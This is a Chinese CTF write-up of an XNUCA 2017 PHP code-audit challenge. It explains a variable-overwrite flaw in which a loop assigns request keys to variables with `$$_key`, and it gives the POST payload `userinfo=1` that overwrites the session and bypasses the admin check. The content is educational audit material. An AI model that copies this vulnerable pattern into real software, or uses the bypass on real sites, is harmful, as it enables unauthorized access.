xnuca2017一道代码审计题目

简介

拖了很久的一篇文章。
最近决定加强自己代码审计的能力。恰好昨天4ct10n发给我一个题目,是XNUCA上面的题目,貌似是wonderkun师傅出的,感觉比较好。

说明

题目源码下载
通读代码,网站像是一个博客系统,但是仅仅只是提供了一个登录、注册、修改密码功能。
而整个代码都使用了pdo的方式进行数据库的操作,如下:

1
2
3
4
5
$dbh = new PDO(DSN, DB_USER, DB_PASSWD);
$sql = "select * from user where id = :id";
$sth = $dbh->prepare($sql);
$sth->execute(array(':id'=>$id));
$res = $sth->fetch(PDO::FETCH_ASSOC);

观察了整个系统中的数据库的操作方式,发现并不存在SQL注入。
分析系统的其他代码,其中比较关键的位置有:
common.php是所有的php文件都会引入的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
define("DB_NAME", "www");
define("DB_HOST", "localhost");
define("DB_USER", "root");
define("DB_PASSWD", "root");
define("DSN", "mysql:host=".DB_HOST.";dbname=".DB_NAME);
ini_set("display_errors", "On");
error_reporting(0);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
session_start();
?>

看到$$_key= $_value;这种的代码有可能会存在变量覆盖的漏洞。

flag位置

全局搜索flag字符串,有2个位置出现了flag字符串。
user.php中的23行左右

1
2
3
if($userinfo["username"] === 'admin') {
echo "<h3>flag{xxxxxx}</flag>";
}

do_changepass.php中的第10行左右

1
2
3
4
if($userinfo["id"] == 1) {
echo "flag{xxx}";
die();
}

利用

可以看到需要利用到变量覆盖的漏洞,那么是否可以直接覆盖掉SESSION中的变量呢?
进行测试的代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set("display_errors", "On");
error_reporting(0);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
var_dump($_SESSION);

最后的结果如下所示:

可以看到通过传入_SESSION参数可以成功地构造$_SESSION变量。
但是观察common.php的代码:

1
2
3
4
5
6
7
8
foreach (array('_COOKIE','_POST','_GET') as $_request)  
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
session_start();

最后存在session_start()表示开启SESSION,即使之前通过参数的方式构建了$_SESSION变量,也会设置为空,所以就无法通过参数的方式覆盖$_SESSION变量。
此时重现观察do_changepass.php中的有关flag的代码:

1
2
3
4
if($userinfo["id"] == 1) {
echo "flag{xxx}";
die();
}

要求$userinfo["id"]为1,那么这个该如何利用呢?其实这个问题可以参考由php offset特征造成的绕过漏洞,那么我们只需要追溯到$userinfo是如何赋值的?
观察到do_register.php中的最后的代码:

1
2
3
4
5
$userinfo["id"] = $res["id"];
$userinfo["username"] = $username;
$userinfo["password"] = $password;
$_SESSION["userinfo"] = $userinfo;
$userinfo["role"] = $res["role"];

那么只需要可以覆盖掉$userinfo并将其设置为1就可以完成绕过了,测试如下:

1
2
URL:http://localhost/xnuca/do_register.php
POST:username=ccc&password=123456&userinfo=1

观察代码执行的结果:

可以看到$_SESSION["userinfo"]=1,值已经被覆盖掉了。
最后只需要访问do_changepass.php即可拿到flag了。

总结

当时看到了common.php就想到了可能是变量覆盖的漏洞,但是当时一直没有找到漏洞的利用点,可能还是因为代码看得不是很仔细,这一点需要加强。最后感谢4ct10n的帮助。
最近在学习审计PHP代码,发现在部分开源程序中也存在类似的变量覆盖的漏洞。这种漏洞通过分析init.php这种类似的文件看其中是否存在$$_key= $_value或者是extract()这样的函数来寻找,接下来就是寻找利用点,这一点是最难的,一般的利用点都是在用户/管理员的登录验证的地方。